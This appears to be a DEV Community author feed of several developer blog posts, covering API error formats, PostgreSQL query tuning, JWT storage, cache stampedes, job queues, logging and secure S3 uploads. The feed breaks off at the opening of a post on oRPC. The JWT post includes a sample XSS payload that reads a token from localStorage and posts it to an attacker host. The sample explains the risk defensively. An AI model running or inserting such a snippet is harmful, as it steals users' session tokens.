DEV Community: Mohamed Ismail

Your API Errors Shouldn't Be a Guessing Game

Mohamed Ismail — Mon, 02 Nov 2026 19:00:00 +0000

Imagine you're building a frontend application and an API request fails.

The backend returns:

{
  "message": "Something went wrong"
}

Great. But what went wrong?

Was it a validation error? A missing resource? A permission issue? Or something else?

Now the frontend has to guess what happened.

There's a better way to handle API errors, and it's already standardized.

The Problem With API Errors

Different APIs often return errors in different formats.

One endpoint returns:

{
  "error": "Invalid email"
}

Another returns:

{
  "message": "User not found",
  "code": 404
}

And another might accidentally expose an internal database error.

This makes frontend development harder because every endpoint needs different error-handling logic.

What if every API followed the same error structure?

Meet Problem Details

RFC 7807 introduced a standard format called Problem Details for HTTP APIs.

It was later replaced by RFC 9457, which is the current standard.

The idea is simple: return errors in a consistent, predictable format.

Here's an example:

{
  "type": "https://api.example.com/problems/insufficient-funds",
  "title": "Insufficient Funds",
  "status": 422,
  "detail": "Your balance is $40, but the total is $55.",
  "instance": "/checkouts/123"
}

Much better, right?

Every field has a purpose:

type: Identifies the kind of error.
title: A short description of the problem.
status: The HTTP status code.
detail: Explains what happened in this request.
instance: Identifies the specific occurrence of the problem.

The API should also return the appropriate HTTP status code and this content type:

Content-Type: application/problem+json

Now the frontend knows what kind of problem occurred without guessing from random messages.

What About Form Validation?

This is where it gets even more useful.

Imagine a registration form with invalid inputs.

Your API could return:

{
  "type": "https://api.example.com/problems/validation",
  "title": "Validation Failed",
  "status": 422,
  "errors": [
    {
      "field": "email",
      "message": "Invalid email address"
    },
    {
      "field": "password",
      "message": "Must contain at least 8 characters"
    }
  ]
}

The errors array is a custom extension, not a required field in the standard.

Now the frontend can display each error beside the correct input.

No need to parse random error strings.

Handling Errors in JavaScript

Here's a simple example using fetch:

const response = await fetch("/api/register", {
  method: "POST",
  headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify(formData)
});

if (!response.ok) {
  const problem = await response.json();

  if (problem.type === "https://api.example.com/problems/validation") {
    console.log(problem.errors);
  } else {
    console.error(problem.title);
  }
}

In a real application, you should also handle network failures and responses that don't contain valid JSON.

The important part is that your frontend can rely on documented error types instead of matching message strings.

A Few Things Worth Remembering

Using Problem Details doesn't automatically solve every error-handling problem.

You still need to follow a few good practices:

Never expose stack traces, SQL queries, or internal secrets.
Keep error types stable so frontend code doesn't break.
Use appropriate HTTP status codes.
Use safe, user-friendly messages where appropriate.
Add a request ID when useful for debugging and support.

For localization, frontend applications can map stable error types to translated messages instead of relying on English error descriptions.

Final Thoughts

A good API isn't just about returning successful responses.

It's also about explaining failures clearly.

RFC 9457 gives us a standard way to do that.

No random error structures. No guessing from message strings. Just predictable errors that both frontend and backend developers can understand.

And the best part?

You don't need a new library or framework to get started. Just a consistent error format.

How are you currently handling API errors in your projects?

Why COUNT(*) Is So Slow in PostgreSQL (And How to Fix It)

Mohamed Ismail — Sat, 31 Oct 2026 13:30:00 +0000

You have a users table with 20 million rows.

You just want to know how many users exist.

Simple, right?

SELECT COUNT(*) FROM users;

But PostgreSQL takes several seconds to return a single number.

Why does counting rows take so long?

The answer is hidden in how PostgreSQL handles transactions.

The Problem: PostgreSQL Can't Just Read a Counter

Imagine your database contains 20 million users.

While you're counting:

One transaction inserts 100 users.
Another transaction deletes 50 users.
A third transaction hasn't committed its changes yet.

So, how many users actually exist?

It depends on which transaction is asking.

PostgreSQL uses something called MVCC (Multi-Version Concurrency Control).

In simple terms, different transactions can see different versions of the same data.

That means PostgreSQL cannot simply maintain one universal row count that is correct for every transaction.

Instead, an exact COUNT(*) must check which rows are visible to your query.

And that's where the performance cost comes from.

Why MySQL Can Be Faster

Here's something interesting.

MySQL's MyISAM storage engine maintains a row count, making an unfiltered COUNT(*) extremely fast.

But there's an important detail.

MySQL's default InnoDB engine also uses MVCC.

Just like PostgreSQL, InnoDB generally needs to scan an index to calculate an exact count.

So PostgreSQL isn't automatically slower than MySQL.

The real difference depends on the storage engine, indexes, table size, and query plan.

Solution 1: Use an Estimated Count

Here's a useful PostgreSQL trick.

If you don't need a perfectly accurate number, you can get an estimate without scanning the entire table.

SELECT reltuples::bigint AS estimated_count
FROM pg_class
WHERE oid = 'public.users'::regclass;

Instead of counting every row, PostgreSQL reads its stored table statistics.

Why is this faster?

Because it's a metadata lookup, not a full-table scan.

The catch?

It's an estimate.

If thousands of rows were recently inserted or deleted, the number might be outdated.

Running ANALYZE helps refresh the statistics:

ANALYZE users;

Even then, it's still an estimate, not an exact count.

Perfect for: Dashboard totals, approximate pagination counts, and analytics where a small difference is acceptable.

Solution 2: Maintain Your Own Counter

What if you need an exact count frequently?

You can maintain a separate counter table.

CREATE TABLE table_counts (
  table_name TEXT PRIMARY KEY,
  row_count BIGINT NOT NULL
);

Initialize it using an exact count:

INSERT INTO table_counts
VALUES ('users', (SELECT COUNT(*) FROM users));

Then update the counter whenever users are inserted or deleted.

You can automate this with PostgreSQL triggers.

Now reading the count is simple:

SELECT row_count
FROM table_counts
WHERE table_name = 'users';

No need to scan millions of users.

However, there's a trade-off.

Every insert or delete must update the counter, which adds write overhead. A single counter row can also become a bottleneck under heavy concurrent writes.

This approach works best when reads are frequent and writes are relatively low.

Solution 3: Don't Count Everything for Pagination

Here's a common mistake in web applications.

Every time someone opens a paginated list, the backend executes:

SELECT COUNT(*) FROM users;

Just to display:

Page 1 of 200,000

But do users really need to know the exact number of pages?

Often, they don't.

Instead, fetch one extra record:

SELECT *
FROM users
ORDER BY id
LIMIT 21;

If your page size is 20 and you receive 21 records, you know there's another page.

Return the first 20 records and show a Next button.

For large datasets, combine this with keyset pagination:

SELECT *
FROM users
WHERE id > 1000
ORDER BY id
LIMIT 21;

This avoids repeatedly counting the entire table and can also avoid the cost of large OFFSET values.

Which Approach Should You Use?

Requirement	Best approach
Exact count, occasionally	`COUNT(*)`
Fast approximate count	`pg_class.reltuples`
Exact count, frequently	Maintained counter, if write contention is manageable
Large paginated lists	Keyset pagination
Dashboard statistics	Estimated or cached counts

One More Thing: `COUNT(*)` Isn't Always a Full Table Scan

PostgreSQL can sometimes use an Index Only Scan instead of scanning the table itself.

But it still needs to examine index entries and may need heap visibility checks.

An index-only scan doesn't automatically make an exact count constant-time.

You can inspect what PostgreSQL is doing:

EXPLAIN (ANALYZE, BUFFERS)
SELECT COUNT(*) FROM users;

This shows the execution plan, actual execution time, and buffer usage.

It's always better to measure before optimizing.

Final Thoughts

COUNT(*) isn't slow because PostgreSQL is poorly designed.

It's the cost of providing an accurate result while supporting concurrent transactions.

The important lesson is simple:

Don't calculate an exact count when an estimate or a simple "has more" check is enough.

Sometimes the fastest database query is the one you don't need to execute.

Stop Indexing Boolean Columns in PostgreSQL. Do This Instead.

Mohamed Ismail — Fri, 30 Oct 2026 13:30:00 +0000

You have a table with millions of records.

Some are processed. Others are still waiting.

So you add an index to make your queries faster:

CREATE INDEX idx_jobs_processed
ON jobs (is_processed);

Looks reasonable, right?

But PostgreSQL might completely ignore your index.

And there's a good reason for that.

Why Your Boolean Index Isn't Helping

Imagine your jobs table has 1 million rows.

950,000 jobs are processed (true).
50,000 jobs are unprocessed (false).

Now you run:

SELECT *
FROM jobs
WHERE is_processed = true;

You might expect PostgreSQL to use your index.

But think about it.

You're asking for 95% of the entire table.

Using the index could mean reading the index and then visiting a huge number of table pages to fetch the actual rows.

PostgreSQL may decide it's cheaper to just scan the table.

That's called a Sequential Scan.

And in this case, it can be the smarter choice.

The Real Problem: Low Selectivity

A Boolean column has only two possible values:

true or false.

This is called low cardinality.

But cardinality alone isn't the problem. What really matters is selectivity: how many rows match your query.

If almost every row matches, an index usually provides little benefit.

But what if you only want the 5% of jobs that haven't been processed?

That's where things get interesting.

The Better Solution: Partial Indexes

Instead of indexing every job, index only the ones you actually need.

CREATE INDEX idx_unprocessed_jobs
ON jobs (created_at)
WHERE is_processed = false;

That's a Partial Index.

It tells PostgreSQL:

"Only include rows where is_processed is false."

Now your index contains entries for roughly 50,000 rows instead of 1 million.

That's approximately 95% fewer index entries in our example, although the actual storage savings depend on the index structure.

And here's the useful part.

When you run:

SELECT *
FROM jobs
WHERE is_processed = false
ORDER BY created_at
LIMIT 100;

PostgreSQL can use the smaller index to find the oldest unprocessed jobs without scanning all the processed ones.

Notice that we indexed created_at, not is_processed.

That's intentional.

The WHERE condition decides which rows belong in the index.

The indexed column helps PostgreSQL find those rows in the requested order.

Simple, but powerful.

Does This Always Work?

Not necessarily.

PostgreSQL's query planner chooses an execution plan based on statistics, estimated costs, and the query itself.

A partial index is especially useful when:

Only a small percentage of rows match the condition.
Your application frequently queries those rows.
The indexed columns support filtering or sorting.

It may help less when the table is small, most rows match, or your query doesn't satisfy the partial index condition.

Also, indexes aren't free. They consume storage and add work to inserts and updates.

So don't create one just because a column exists.

How to Check Whether PostgreSQL Uses It

Use EXPLAIN ANALYZE:

EXPLAIN (ANALYZE, BUFFERS)
SELECT *
FROM jobs
WHERE is_processed = false
ORDER BY created_at
LIMIT 100;

Look for operations such as:

Index Scan using idx_unprocessed_jobs

or:

Seq Scan on jobs

An index scan means PostgreSQL used an index. A sequential scan means it scanned the table.

But remember: a sequential scan isn't automatically bad.

Compare actual execution times and buffer usage before deciding which approach performs better.

One More Thing Developers Often Miss

Partial indexes depend on PostgreSQL recognizing that your query satisfies the index condition.

For example, a prepared query like this:

SELECT *
FROM jobs
WHERE is_processed = $1;

may not use the partial index when PostgreSQL chooses a generic plan.

Why?

Because $1 could be either true or false, and the index only contains false rows.

If your query always targets unprocessed jobs, expressing that condition directly can make the partial index easier for the planner to use.

The Takeaway

Don't index a Boolean column just because you frequently filter by it.

Think about how many rows your query actually needs.

If you're repeatedly querying a small subset of a large table, a partial index can be a much better choice.

Smaller index. Less unnecessary work. Potentially faster queries.

And the best part?

You don't need another database, caching layer, or complicated optimization.

Just a better index.

Have you ever created an index that PostgreSQL decided not to use?

Stop Storing JWTs in localStorage. Here's Why.

Mohamed Ismail — Thu, 29 Oct 2026 13:30:00 +0000

You've probably seen this in a React authentication tutorial:

localStorage.setItem("token", response.token);

User logs in. Save the JWT. Send it with every API request.

Simple, right?

There's one problem: any JavaScript running on your page can read that token.

And that includes malicious JavaScript.

What's Actually Wrong With localStorage?

Imagine your application has an XSS (Cross-Site Scripting) vulnerability.

An attacker manages to execute this:

const token = localStorage.getItem("token");

fetch("https://attacker.example/steal", {
  method: "POST",
  body: token,
});

That's it.

Your user's authentication token could now be in someone else's hands.

The attacker may be able to use it to access the user's account until the token expires or is revoked.

And XSS isn't the only concern. A compromised npm dependency running in your frontend can potentially access the same storage.

The problem isn't JWT itself. It's where you're storing it.

A Better Approach: HttpOnly Cookies

Instead of saving your JWT in localStorage, let your backend set a secure cookie.

Set-Cookie: session=eyJhbGciOi...;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/

Three important properties:

HttpOnly: JavaScript cannot read the cookie.
Secure: The browser sends it only over HTTPS (with limited localhost exceptions).
SameSite=Strict: Helps prevent cross-site requests from carrying the cookie.

Now, even if an attacker executes:

document.cookie

They won't see your HttpOnly authentication cookie.

And your browser can automatically include that cookie in requests to your backend.

fetch("/api/profile", {
  credentials: "same-origin",
});

No manually reading or attaching JWTs.

Much cleaner.

But Cookies Aren't Magic

Here's something tutorials often forget.

HttpOnly protects the token from being read. It doesn't make XSS harmless.

Malicious JavaScript can still send authenticated requests from your application.

And cookies introduce another concern: CSRF (Cross-Site Request Forgery).

For cookie-based authentication, use appropriate CSRF defenses:

Validate request origins.
Use SameSite cookies.
Add CSRF tokens where needed.

One common approach is the double-submit cookie pattern, where the server validates a CSRF token sent with the request. In production, prefer a signed token bound to the authenticated session.

SameSite=Strict helps, but it shouldn't be your entire CSRF strategy.

What About JWT Expiration?

There's another issue worth understanding.

Imagine you issue a JWT valid for seven days.

Tomorrow, you discover that your signing key has been compromised.

What happens to all those tokens?

You need a way to rotate your signing keys safely.

Meet JWT Key Rotation

Instead of using one signing key forever, maintain a keyring.

Each JWT contains a key identifier (kid) in its header.

{
  "alg": "RS256",
  "kid": "key-2026-02"
}

Your backend uses that identifier to find the correct verification key.

When rotating keys:

Generate a new signing key.
Start signing new tokens with it.
Keep the old verification key temporarily.
Remove it after all old tokens expire.

This allows normal key rotation without immediately logging everyone out.

Important: If a key is actually compromised, keeping it trusted is dangerous. Emergency rotation may require invalidating existing tokens.

For better session control, use short-lived access tokens, carefully protected refresh sessions, and server-side revocation where needed.

So, Should You Never Use localStorage?

Not necessarily.

localStorage is perfectly useful for things like themes, language preferences, and non-sensitive settings.

For authentication tokens, though, storing bearer credentials in JavaScript-accessible storage creates an avoidable token-theft risk.

HttpOnly cookies are often a better default for traditional browser applications.

Other architectures, including OAuth-based SPAs and mobile clients, may need different approaches.

The Takeaway

JWT is just a token format.

It doesn't automatically make your authentication secure.

Where you store tokens, how you protect requests, how you handle expiration, and how you revoke sessions matter just as much.

Authentication isn't finished when login works. It's finished when you've thought about what happens when something goes wrong.

How are you currently handling authentication in your applications?

Your Cache Expires. 10,000 Requests Hit Your Database. There's a Smarter Fix.

Mohamed Ismail — Wed, 28 Oct 2026 13:30:00 +0000

Imagine your application has a popular API endpoint.

You cache its response in Redis for 5 minutes to avoid hitting the database repeatedly.

Everything works perfectly.

Until the cache expires.

Suddenly, 10,000 requests arrive at the same time. They all find an empty cache and start querying your database.

Congratulations. Your cache just caused a database traffic spike.

This problem is called a Cache Stampede, also known as the Thundering Herd.

The Usual Solution: Distributed Locks

A common solution is to use a distributed lock.

When the cache expires:

The first request acquires a lock.
It fetches fresh data from the database.
Other requests wait or use stale data.
The cache gets updated.

It works, but now you're managing locks, timeouts, and failure cases.

What if we could refresh the cache before it expires?

Meet XFetch

XFetch is a clever algorithm based on probabilistic early expiration.

Instead of waiting until the cache expires, it randomly decides whether to refresh it early.

Here's the interesting part:

When the cache is fresh, refreshing is unlikely.
As expiration approaches, refreshing becomes more likely.
Slower database queries encourage earlier refreshes.

Think of it like replacing a phone battery before it dies instead of waiting for it to shut down.

No distributed lock is required to make the refresh decision.

The Tiny Formula Behind It

now - β × delta × ln(random()) >= expiry

Looks complicated? It's actually simple.

now — Current time
expiry — When the cache expires
delta — How long the last refresh took
random() — A random number between 0 and 1
β — Controls how aggressively we refresh

The closer we get to expiration, the more likely the condition becomes true.

That's the core idea.

A Simple JavaScript Example

Here's the early-expiration decision in JavaScript:

function shouldRefresh(expiry, delta, beta = 1) {
  const random = Math.max(Math.random(), Number.MIN_VALUE);

  return (
    Date.now() - beta * delta * Math.log(random) >= expiry
  );
}

That's it!

Let's say:

const expiry = Date.now() + 5000;
const delta = 200;

console.log(shouldRefresh(expiry, delta));

The function returns true or false.

If it returns true, the application can refresh the cached value early.

The important detail is that delta and expiry use the same time unit. Here, both are in milliseconds.

But There's a Catch

XFetch is smart, but it isn't magic.

Multiple requests can still decide to refresh simultaneously. It reduces the risk of a stampede; it doesn't guarantee exactly one refresh.

Also, if you delete the old cache entry before refreshing, other requests can still experience cache misses.

A practical implementation should keep serving the existing value while refreshing, where stale data is acceptable.

For stronger protection, you can combine early expiration with a single-flight mechanism or a short-lived refresh lock.

When Should You Use It?

XFetch is particularly useful for:

Popular API responses
Homepage feeds
Trending products
Expensive database queries
Frequently accessed cached data

For applications where a little stale data is acceptable, probabilistic early refresh can be a simple way to reduce sudden database load.

For strict freshness requirements, consider additional coordination.

Final Thoughts

Most caching strategies ask:

"Has the cache expired?"

XFetch asks a smarter question:

"Should we refresh it before it expires?"

That small change can help prevent thousands of requests from rushing to your database at once.

Sometimes, a little randomness is exactly what your system needs.

You Might Not Need Redis for Background Jobs

Mohamed Ismail — Tue, 27 Oct 2026 13:30:00 +0000

When we need background jobs in an application, we usually think of Redis, BullMQ, or RabbitMQ.

They're great tools. But they also mean more infrastructure to manage.

What if you're already using PostgreSQL and don't need another service?

There's a simple PostgreSQL feature called SKIP LOCKED that makes this possible.

Let's see how it works.

The problem with background jobs

Imagine you're building an application that sends emails in the background.

You store pending emails in a database table called jobs.

SELECT * FROM jobs
WHERE status = 'pending'
LIMIT 1;

Simple, right?

But what happens when three workers run this query at the same time?

They might all pick the same job and send the same email three times.

That's definitely not what we want.

Meet `SKIP LOCKED`

PostgreSQL has a neat solution:

WITH next_job AS (
  SELECT id
  FROM jobs
  WHERE status = 'pending'
  ORDER BY created_at, id
  LIMIT 1
  FOR UPDATE SKIP LOCKED
)
UPDATE jobs
SET status = 'processing'
WHERE id = (SELECT id FROM next_job)
RETURNING *;

It looks a little complicated, but the idea is simple.

FOR UPDATE locks the selected job so another worker can't claim it.
SKIP LOCKED tells other workers to skip locked jobs instead of waiting.
UPDATE ... RETURNING marks the job as processing and returns it.

So if three workers are running:

Worker 1 picks Job A.
Worker 2 skips Job A and picks Job B.
Worker 3 skips both and picks Job C.

Three workers. Three different jobs. No duplicate claims.

And because the job selection and update happen in one statement, the claim is atomic.

Why is this useful?

The biggest benefit is simplicity.

If your application already uses PostgreSQL, you can handle basic background jobs without deploying Redis.

You also get another useful feature: database transactions.

For example, you can save an order and create its background job in the same transaction.

If something fails, both changes can be rolled back.

No worrying about an order being saved while its job never gets queued.

Is it better than Redis?

Not always.

PostgreSQL is a good choice for smaller or moderate background workloads, especially when you're already using it.

Redis with BullMQ is often a better fit when you need advanced scheduling, retries, monitoring, or very high job throughput.

And there's one important catch: SKIP LOCKED only solves the problem of safely claiming jobs.

For production, you still need to handle failed jobs, retries, worker crashes, and duplicate execution after failures.

Libraries like pg-boss and Graphile Worker can help with that.

Final thoughts

We often add new tools without checking what our existing stack can already do.

PostgreSQL's SKIP LOCKED is a perfect example.

It's a small SQL feature that lets multiple workers safely pick different jobs without blocking each other.

It won't replace Redis everywhere.

But for many applications, PostgreSQL might be all you need to get started.

Sometimes, the simplest solution is already sitting in your database.

AI Says My Project Will Take 2 Months. Then Builds It in a Week.

Mohamed Ismail — Mon, 26 Oct 2026 12:14:55 +0000

I noticed something strange about AI project planning.

Ask AI to create a development plan for a full-stack application.

It gives you a detailed breakdown:

Week 1–2: Project setup and architecture
Week 3–4: Backend and database
Week 5–6: Frontend development
Week 7–8: Testing and deployment

Total estimate: 2 months.

Looks like a reasonable plan, right?

But here's the funny part.

Give those same requirements to an AI coding agent, and it might build most of the application in less than a week.

So why is AI still estimating projects as if we're writing every line of code manually?

The Problem With AI Estimates

Most AI-generated project plans still follow traditional development timelines.

But AI-assisted development works differently.

An AI coding agent can set up a project, generate APIs, build UI components, write database queries, and create tests much faster than doing everything manually.

Something that previously took days might now take hours.

Yet AI often doesn't account for that speed when creating a project plan.

It's like asking someone how long a journey will take, and they calculate the time for walking even though you're driving a car.

Building Fast Doesn't Mean It's Finished

Of course, there's a catch.

AI might generate an application in three days, but that doesn't mean it's ready for production.

Security, testing, performance, edge cases, and deployment still need attention.

Writing code faster doesn't automatically mean delivering software faster.

That's why AI should distinguish between building a working version and delivering a production-ready product.

What AI Should Do Instead

Rather than giving a single estimate, AI should consider how the project will actually be developed.

For example:

Development approach	Example estimate
Traditional development	6–8 weeks
AI-assisted implementation	3–7 days
Production-ready delivery	Depends on testing and complexity

These are hypothetical estimates, not guaranteed timelines.

AI should also explain which tasks can be accelerated and which still require careful human review.

Final Thought

AI has changed how quickly we can write software.

But its project planning doesn't always reflect that change.

If an AI coding agent can build in days what traditionally took weeks, its estimates should account for that possibility.

AI shouldn't just help us build faster. It should help us plan smarter.

Have you noticed this gap between AI-generated project timelines and actual AI-assisted development?

Your console.log() Might Be Slowing Down Your App

Mohamed Ismail — Mon, 26 Oct 2026 04:30:00 +0000

Most of us use console.log() every day.

Checking an API response? console.log().

Debugging a loop? console.log().

Trying to figure out why something isn't working? Another console.log().

It's one of the simplest debugging tools in JavaScript. But there's something we often overlook: logging isn't free, and too much of it can affect performance.

Let's understand why and how to avoid it.

First, what is the Console API?

The Console API gives us methods to print messages, inspect values, and debug our applications.

Some commonly used methods are:

Method	Purpose
`console.log()`	Print general messages
`console.info()`	Display information
`console.warn()`	Show warnings
`console.error()`	Report errors
`console.table()`	Display data in a table
`console.time()`	Measure execution time

Here's a simple example:

const user = { name: "John", age: 25 };

console.log(user);
console.table([user]);
console.warn("Something needs attention!");

Nothing complicated, right?

But here's an interesting detail.

console isn't actually part of the JavaScript language itself.

Who provides `console`? JavaScript or the browser?

JavaScript follows a specification called ECMAScript.

That specification defines things like variables, functions, objects, arrays, and promises.

But it doesn't define console.

Instead, console is provided by the environment where JavaScript runs.

Browsers provide it through their developer tools.
Node.js provides its own console implementation.
Other runtimes can implement it differently.

That's why console behavior and performance can vary between environments.

The problem: Logging inside loops

Imagine you're processing 10,000 records.

While debugging, you add a simple log:

const records = Array.from(
  { length: 10_000 },
  (_, index) => index
);

for (const record of records) {
  console.log(record);
}

Looks harmless.

But this loop doesn't just process 10,000 records. It also asks the runtime to handle 10,000 logging operations.

Depending on the environment, those operations may involve formatting values, passing messages to developer tools, or writing output.

And all that work takes time.

How much slower can it get?

In one local test, the results looked like this:

Test	Measured time
Single `console.log()` call	0.003 ms
1,000 calls inside a loop	26.4 ms

These are example measurements, not universal benchmarks. Actual results depend on the browser, runtime, machine, output size, and whether DevTools is open.

The important point is simple:

A tiny cost repeated thousands of times can become noticeable.

And even if your browser groups repeated messages into one line, it doesn't mean the logging calls were skipped.

How can we avoid this?

The good news is that we don't need to stop using console.log().

We just need to use it carefully.

1. Remove unnecessary logs

Debug logs are useful while developing, but most don't need to stay in production.

Instead of:

for (const user of users) {
  console.log("Processing:", user);
  processUser(user);
}

Keep it simple:

for (const user of users) {
  processUser(user);
}

If you need to know how many users were processed, log a summary instead of every individual record.

for (const user of users) {
  processUser(user);
}

console.info(`Processed ${users.length} users`);

One useful message is often better than thousands of repeated messages.

2. Create a simple logger

If you frequently debug your application, a small logger can help.

const isDevelopment =
  process.env.NODE_ENV !== "production";

export const logger = {
  log: (...args) => {
    if (isDevelopment) {
      console.log(...args);
    }
  },

  warn: (...args) => {
    if (isDevelopment) {
      console.warn(...args);
    }
  },

  error: (...args) => {
    console.error(...args);
  },
};

Now use it anywhere:

logger.log("User loaded successfully");
logger.warn("Response is taking longer");
logger.error("Failed to load user");

In production, debug messages won't be printed.

Just remember that calling a no-op logger still has a small cost, especially if you're calculating expensive values before passing them to it. Also, process.env.NODE_ENV must be supported or replaced by your build tool.

3. Remove console calls during the build

If your project uses Terser, you can configure it to remove console statements when building for production.

For example:

// vite.config.js
import { defineConfig } from "vite";

export default defineConfig({
  build: {
    minify: "terser",
    terserOptions: {
      compress: {
        drop_console: ["log", "debug", "info"],
      },
    },
  },
});

This removes the selected console methods from the production bundle.

Notice that we haven't removed console.error().

That's intentional.

One important thing: Don't blindly remove every console call. Some messages are useful for troubleshooting real production issues. Build-time removal can also remove argument expressions, so avoid relying on side effects inside logging calls.

4. Keep important error reporting

Not every console message is unnecessary.

For example:

try {
  await saveUser(user);
} catch (error) {
  console.error("Failed to save user:", error);
}

Errors are worth recording.

For larger production applications, a proper logging or error-monitoring system is even better. It helps you understand failures without depending entirely on browser console output.

Just make sure you don't accidentally log passwords, tokens, or sensitive user information.

A small habit that makes a difference

console.log() isn't bad.

It's incredibly useful, and there's no reason to avoid it while debugging.

The problem starts when we leave unnecessary logs in frequently executed code, especially loops, rendering logic, and high-traffic paths.

A few things worth remembering:

Avoid logging every iteration of a large loop.
Remove unnecessary debug messages before production.
Use a simple logger when it makes sense.
Configure your build tools to strip unwanted logs.
Keep meaningful error reporting.

You probably won't notice a performance difference from removing two or three logs.

But removing thousands of unnecessary logging operations from a hot path? That can make a real difference.

The takeaway: Use the console to understand your code, not to slow it down.

Have you ever found unnecessary console.log() calls causing performance issues in a project?

I'd love to hear about it! 👇

Never Trust File Uploads: Building a Secure S3 Pipeline

Mohamed Ismail — Sat, 24 Oct 2026 04:30:00 +0000

File uploads look simple.

A user selects a file, your backend receives it, saves it to storage, and returns a URL.

Done, right?

Not really.

What if someone uploads a malicious file disguised as an image? What if hundreds of users upload large files at the same time? Or what if an infected PDF becomes available for everyone to download?

A simple upload feature can quickly become a security problem.

Let's look at how to build a safer file upload pipeline using S3, magic bytes, and ClamAV.

1. Stop sending files through your API server

A common approach is to receive files through your Node.js backend and then upload them to S3.

This works, but your API becomes a middleman.

Every upload uses server bandwidth and connections. If you're buffering files in memory, large uploads can also consume a lot of RAM.

A better approach is to use S3 presigned URLs.

Here's how it works:

The client requests an upload URL from your API.
Your API checks permission and generates a short-lived URL.
The client uploads the file directly to S3.
S3 stores the file in a private quarantine location.

Your API handles permissions, not the actual file transfer.

For example, using AWS SDK v3:

import { randomUUID } from "node:crypto";
import { S3Client } from "@aws-sdk/client-s3";
import { createPresignedPost } from "@aws-sdk/s3-presigned-post";

const s3 = new S3Client({ region: "us-east-1" });

export async function createUpload(userId: string) {
  // userId must come from the authenticated session
  const key = `quarantine/${userId}/${randomUUID()}`;

  const { url, fields } = await createPresignedPost(s3, {
    Bucket: "my-private-uploads",
    Key: key,
    Expires: 300,
    Conditions: [
      ["content-length-range", 1, 10 * 1024 * 1024],
    ],
  });

  return { url, fields };
}

This creates a presigned POST that allows uploads up to 10 MB and expires after five minutes.

The client sends the returned fields and file as multipart/form-data directly to S3.

The bucket stays private, and the backend should record the generated key against the authenticated user.

One important thing: a successful upload doesn't mean the file is safe.

We still need to inspect it.

2. Never trust file extensions or MIME types

Imagine someone uploads a file named profile.png.

Your backend checks:

if (file.mimetype === "image/png") {
  // Accept file
}

Looks fine, right?

The problem is that the MIME type usually comes from the client.

Anyone can rename a file or send a fake Content-Type header.

Instead, check the actual file content.

Check the magic bytes

Many file formats have recognizable binary signatures called magic bytes.

For example:

File	Signature
PNG	`89 50 4E 47 0D 0A 1A 0A`
JPEG	`FF D8 FF`
PDF	`25 50 44 46 2D`
ZIP	`50 4B 03 04`

In Node.js, the file-type package makes this easier.

import { fileTypeFromBuffer } from "file-type";

async function validateImage(buffer: Buffer) {
  const type = await fileTypeFromBuffer(buffer);

  const allowed = ["image/png", "image/jpeg"];

  if (!type || !allowed.includes(type.mime)) {
    throw new Error("Unsupported file format");
  }

  return type;
}

You don't need to download the entire file just to check its signature.

For supported formats, you can read a small part of the object using an S3 range request. The number of bytes needed depends on the format and detection library.

But remember, valid magic bytes don't mean a file is safe.

A valid PDF or image can still contain harmful content or exploit a vulnerable file parser.

That's why we need another layer.

3. Scan files before making them available

This is the part I wouldn't skip.

Never make an uploaded file available to users before it passes validation and scanning.

Instead, use a quarantine system.

Here's the flow:

Client
  |
  | Request upload URL
  v
Node.js API
  |
  | Generate presigned URL
  v
Client
  |
  | Upload directly
  v
Private S3 Quarantine
  |
  | Storage event
  v
Background Worker
  |
  | Check file size
  | Check magic bytes
  | Scan with ClamAV
  |
  +-- Failed --> Reject
  |
  +-- Passed --> Approved Storage
                       |
                       v
                Available to User

For malware scanning, we can use ClamAV, a free, open-source antivirus engine.

A background worker can download or stream the quarantined object to the scanner.

Here's a simplified example using the clamscan package:

import NodeClam from "clamscan";

const clam = await new NodeClam().init({
  clamdscan: {
    host: "clamav-service",
    port: 3310,
  },
});

export async function scanFile(
  fileStream: NodeJS.ReadableStream,
) {
  const result = await clam.scanStream(fileStream);

  if (result.isInfected !== false) {
    throw new Error("File rejected");
  }

  return true;
}

This example only shows the scanning step. The worker still needs to retrieve the correct S3 object, validate it, handle failures, and update the database.

If the scan fails, times out, or returns an unknown result, keep the file quarantined.

Don't approve it automatically.

Also, ClamAV reduces malware risk, but it cannot detect every possible threat.

4. Let background workers handle the heavy work

Virus scanning can take time.

You don't want users waiting for it inside an HTTP request.

Instead, use a background queue like BullMQ or AWS SQS.

When S3 receives a file, a storage event can trigger a job.

The worker validates the file, scans it, and updates its status.

A simple database lifecycle could look like this:

PENDING_UPLOAD
      |
      v
 QUARANTINED
      |
      v
   SCANNING
    /    \
   v      v
APPROVED REJECTED

The frontend can show "Processing your file" while scanning is in progress.

Make sure workers can safely retry jobs and handle duplicate events.

There's another important detail here.

Scan and approve the exact same object.

Otherwise, a file could be replaced after scanning but before approval.

Use unique storage keys and object versioning or other controls that prevent an unscanned replacement from being published.

5. A few security rules worth following

Even with these three layers, I'd still add a few protections:

Limit file sizes. Don't allow unlimited uploads.
Use random file names. Generate UUID-based storage keys instead of trusting user-provided paths.
Keep storage private. Approved files don't always need public URLs. Use authorized downloads when appropriate.
Limit upload requests. Add authentication, rate limits, and storage quotas.
Protect against ZIP bombs. Limit archive extraction size, file count, and nesting depth.
Serve files safely. Use correct response headers and avoid serving risky user content from your application's main origin.
Monitor failures. Track rejected uploads, scanner errors, and unusual upload activity.

And one underrated point: don't expose your ClamAV service directly to the internet. Keep it accessible only to trusted workers.

Final thoughts

File uploads are easy to build, but securing them takes a little more thought.

You don't need a complicated system from day one.

Start with three things:

1. Presign: Let clients upload directly to private object storage.

2. Validate: Check file size, format, and actual content instead of trusting filenames.

3. Scan: Run malware checks in the background before making files available.

These steps won't eliminate every security risk, but they'll give you a much safer foundation.

The main thing I've learned is simple:

Uploading a file and trusting a file should be two different steps.

How do you handle file uploads in your applications? Do you scan files before making them available, or use a different approach?

PS: A reader pointed out a gap I missed: abandoned uploads.

If a client's upload expires on a slow connection, it retries with a new key. The first file can stay in quarantine forever, because no scan ever runs for it.

The fix is simple. Add an S3 lifecycle rule on the quarantine prefix that deletes anything older than a day. Also run a small scheduled job to expire old PENDING_UPLOAD rows, so your database matches what's in the bucket.

Lifecycle rules run in the background, so deletion can happen a little after the one-day mark.

References

Why I Switched from ts-rest to oRPC

Mohamed Ismail — Fri, 23 Oct 2026 07:30:32 +0000

I've been using ts-rest for a while, and I genuinely liked it.

Contract-first APIs, end-to-end type safety, OpenAPI support, and a clean developer experience. It had pretty much everything I needed.

